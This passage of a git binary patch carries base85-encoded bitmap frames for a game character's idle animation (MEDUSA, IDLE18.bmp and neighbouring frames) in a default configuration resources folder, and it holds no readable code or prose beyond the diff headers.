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ž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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp new file mode 100644 index 0000000000000000000000000000000000000000..55a36b874c6aa822d34fa1bc8cc02e6cb1706d83 GIT binary patch literal 18462 zcmd6u2V7K1w(#fuzI|_Zc2p!902MG|jv#_$k(@&V9iYjn$=yvuLz8oAGEL4oO3o5Q zBnJr!NX|+SCH7ZM@3_wBIL_|u_rCgFuGRNe)vbS>Q>RXydliyC_4tQ_bPt>_f`~SUk|5Vo9-CaNsOboX% z@hwR1&5Uc$itETt?!}{{V`GxRt^ZxzKaX{Hj{+JKn`o-Cw-C zP?MvY0d7iUOJaCac4CJ$%Co1p_p5yY-3Bdu_12dce>psROG^uHCdTI%=BXvW(aN8} zN_}`)d4-jU7uqa<=#ifp^CBstDJkM9piB&JNeXYyjBj&yOp1v~e*12vp`kuEw;(nq zAvHCvr?>MH4MpOgCGhjh0ia%4TVJcHs1EcGx5xNkEWPlyLGJkI=!o>C8+p=TZGUGZkVmec!4$#9JWF*yP#E>$4mTCgd zP!UgcVP^?$L%6DGa#Gsd{PgGj`jiK7pnWPgbxaU9ZXsQR%Ex9_!KUZl0^aXRjz`3Q~=zjkBp3fVqYo*xcFzV?jN{CuU@^< zfmstUVO%#PlpkBm3YyCaTgwaC$O~G@2%5-=8lh4C8meYSN+d_^GFwQtFS?|<^hH-s zcgORWL3XtmjY5P3k@p(x(OpBt;{b@TCtSh7-OVc?ATTv0t+n;}*4B1zUV)*uQ(@Xb zQY4rfz!*^M0rda|A1IK!eNsh5HNg6n*#cKU`cqgB%*y8Gdj)Y-ERu+W=i?D&1Y|iu z2S~2US+^3vS*c|pB>f)VQWxhnv_}+sph{k}_H^~MKW}a8>TYkWZFkhmb<`?%GpMnG zB;ybT1np{1R7G#sP+R-6%F4?0^h{3=PjwZO+@xM0!lchAlOus0Yyrw#nBG-h(vg*& z53v4YtY8fR&8Mg2WcoDJhAr5t=i=ancA7<4XaQC;ADr!=g@BKsQ|_i;t0v|s%4Hnq z|8(GGZ)bOVPfr)X?d$K(ifgo1&BehA@meMJ@M1eyAx1Md*s-L(yxYes*vi~dN>W}M zW*r|3hY>y~#fK@;qxjeiMGmwpfi+d?O!ie%}smh@|@CjK79cd(r$vYr! zP7H6Ho!)P59ePqy4)Fd1tiS|-Rw-t3cW-s=ogY3r#c9AE^c0bAt)6DC8jn(mvrtR2 